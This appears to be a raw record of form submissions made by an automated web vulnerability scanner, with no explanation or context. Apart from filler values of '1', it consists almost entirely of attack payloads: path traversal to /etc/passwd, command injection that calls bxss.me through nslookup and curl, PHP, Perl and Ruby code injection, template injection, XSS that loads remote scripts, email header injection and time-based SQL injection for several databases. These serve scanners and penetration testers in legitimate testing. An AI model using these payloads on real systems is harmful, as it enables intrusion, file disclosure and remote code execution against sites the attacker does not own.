1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

/../../../../../../../../../../windows/system32/BITSADMIN.exe

1

1

1

1

1

1

1

1

1

1

1<esi:include src="http://bxss.me/rpb.png"/>

1

1

1

12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡

1

1

1

1

1

1

1

1

1

1

1%0abcc:009247.784-398650.784.7a134.20143.2@bxss.me

1

to@example.com>%0d%0abcc:009247.784-398651.784.7a134.20143.2@bxss.me

response.write(9971882*9358542)

1

1

'+response.write(9971882*9358542)+'

1

1

1

1

1

1

${9999392+9999273}

1

1

1

1

1

1

"+response.write(9971882*9358542)+"

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

xfs.bxss.me

1

1

1

1

1

1

1

1

1

1

1

1

'.gethostbyname(lc('hittt'.'njokxsek5e5c9.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(82).chr(111).chr(77).'

1

1

1

1

1

1

1

1

1

'.gethostbyname(lc('hittt'.'njokxsek5e5c9.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(82).chr(111).chr(77).'

1

1

1

1

'.gethostbyname(lc('hittt'.'njokxsek5e5c9.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(115).chr(82).chr(111).chr(77).'

1

1

1

1

1

1

1

".gethostbyname(lc("hitme"."jnhbothi4382a.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(80).chr(110).chr(67)."

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

"+"A".concat(70-3).concat(22*4).concat(114).concat(84).concat(122).concat(76)+(require"socket" Socket.gethostbyname("hitgz"+"zimrvjax81ae8.bxss.me.")[3].to_s)+"

1

1

'+'A'.concat(70-3).concat(22*4).concat(99).concat(78).concat(101).concat(87)+(require'socket' Socket.gethostbyname('hitdi'+'sgvrzcdr49c79.bxss.me.')[3].to_s)+'

1

1

'"

1

HttP://bxss.me/t/xss.html?%00

1

<!--

)

!(()&&!|*|*|

1

1

bxss.me/t/xss.html?%00

1

1

^(#$!@#$)(()))******

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

1

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

Http://bxss.me/t/fit.txt

1

1

http://bxss.me/t/fit.txt%3F.jpg

/etc/shells

c:/windows/win.ini

1

bxss.me

1

1

1

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

1

1

";print(md5(31337));$a="

1

1

${@print(md5(31337))}

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../windows/win.ini

1

file:///etc/passwd

1

1

${@print(md5(31337))}\

../1

'.print(md5(31337)).'

1

1

1

1

1

1

1

'"()

1

1'&&sleep(27*1000)*mbxgtp&&'

1"&&sleep(27*1000)*kqunuo&&"

1'||sleep(27*1000)*ynfxfg||'

echo tgacjt$()\ befrjt\nz^xyu||a #' &echo tgacjt$()\ befrjt\nz^xyu||a #|" &echo tgacjt$()\ befrjt\nz^xyu||a #

1"||sleep(27*1000)*verzrn||"

&echo cgapil$()\ xikmds\nz^xyu||a #' &echo cgapil$()\ xikmds\nz^xyu||a #|" &echo cgapil$()\ xikmds\nz^xyu||a #

1&echo ydxbdz$()\ vqmdtl\nz^xyu||a #' &echo ydxbdz$()\ vqmdtl\nz^xyu||a #|" &echo ydxbdz$()\ vqmdtl\nz^xyu||a #

1

|echo ikdxcp$()\ nxgzlm\nz^xyu||a #' |echo ikdxcp$()\ nxgzlm\nz^xyu||a #|" |echo ikdxcp$()\ nxgzlm\nz^xyu||a #

1|echo rcqddj$()\ qxgdyq\nz^xyu||a #' |echo rcqddj$()\ qxgdyq\nz^xyu||a #|" |echo rcqddj$()\ qxgdyq\nz^xyu||a #

(nslookup -q=cname hitjgnsgkkbnt3e865.bxss.me||curl hitjgnsgkkbnt3e865.bxss.me))

$(nslookup -q=cname hitcicssdwvjtc00dd.bxss.me||curl hitcicssdwvjtc00dd.bxss.me)

1

&nslookup -q=cname hitxojuqtxfjma6847.bxss.me&'\"`0&nslookup -q=cname hitxojuqtxfjma6847.bxss.me&`'

&(nslookup -q=cname hitnlzboarfuf574f1.bxss.me||curl hitnlzboarfuf574f1.bxss.me)&'\"`0&(nslookup -q=cname hitnlzboarfuf574f1.bxss.me||curl hitnlzboarfuf574f1.bxss.me)&`'

|(nslookup -q=cname hitinhdcvcmww1a61e.bxss.me||curl hitinhdcvcmww1a61e.bxss.me)

1

1

1

1

1

1

1

1

1

`(nslookup -q=cname hitmiozzvlfzn9b578.bxss.me||curl hitmiozzvlfzn9b578.bxss.me)`

1

`(nslookup -q=cname hitmiozzvlfzn9b578.bxss.me||curl hitmiozzvlfzn9b578.bxss.me)`

1

`(nslookup -q=cname hitmiozzvlfzn9b578.bxss.me||curl hitmiozzvlfzn9b578.bxss.me)`

1

;(nslookup -q=cname hitudglkoratl0ddb1.bxss.me||curl hitudglkoratl0ddb1.bxss.me)|(nslookup -q=cname hitudglkoratl0ddb1.bxss.me||curl hitudglkoratl0ddb1.bxss.me)&(nslookup -q=cname hitudglkoratl0ddb1.bxss.me||curl hitudglkoratl0ddb1.bxss.me)

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1'"()&%<zzz><ScRiPt >l87W(9692)</ScRiPt>

'"()&%<zzz><ScRiPt >l87W(9731)</ScRiPt>

19932328

bfg10640%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl10640

bfgx8209%C0%BEz1%C0%BCz2a%90bcxhjl8209

<%={{={@{#{${dfb}}%>

1

1

<th:t="${dfb}#foreach

1

1

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1

1

dfb{{98991*97996}}xca

dfb[[${98991*97996}]]xca

dfb__${98991*97996}__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

1<ScRiPt >l87W(9965)</ScRiPt>

1<WUNXRP>VEJOA[!+!]</WUNXRP>

1<script>l87W(9645)</script>

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%6C%38%37%57%28%39%37%32%39%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

1<ScRiPt
>l87W(9738)</ScRiPt>

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9233></ScRiPt>

1<ScRiPt
>l87W(9421)</ScRiPt>

1<svg  �onload=l87W(9766);>

1<svg  �onload=l87W(9766);>

1<isindex type=image src=1 onerror=l87W(9707)>

1

1

1

1

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9830'>

1<body onload=l87W(9354)>

1<img src=//xss.bxss.me/t/dot.gif onload=l87W(9204)>

1<img src=xyz OnErRor=l87W(9569)>

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

LJoiNF6G

-1 OR 2+160-160-1=0+0+0+1 --

-1 OR 2+70-70-1=0+0+0+1

-1' OR 2+11-11-1=0+0+0+1 --

-1' OR 2+117-117-1=0+0+0+1 or '4ljBHRvw'='

-1" OR 2+996-996-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

Twp4rGY2'; waitfor delay '0:0:15' --

eFKLNOtM'); waitfor delay '0:0:15' --

GhFP7ib8'); waitfor delay '0:0:3' --

TqE5u6PE')); waitfor delay '0:0:15' --

-5 OR 503=(SELECT 503 FROM PG_SLEEP(15))--

-5) OR 389=(SELECT 389 FROM PG_SLEEP(15))--

-1)) OR 547=(SELECT 547 FROM PG_SLEEP(15))--

7BjbzT9n' OR 281=(SELECT 281 FROM PG_SLEEP(15))--

q6cHezN3') OR 692=(SELECT 692 FROM PG_SLEEP(15))--

5l5CKDlv')) OR 462=(SELECT 462 FROM PG_SLEEP(15))--

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1����%2527%2522

@@xcDJp

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

1

dfb{{98991*97996}}xca

1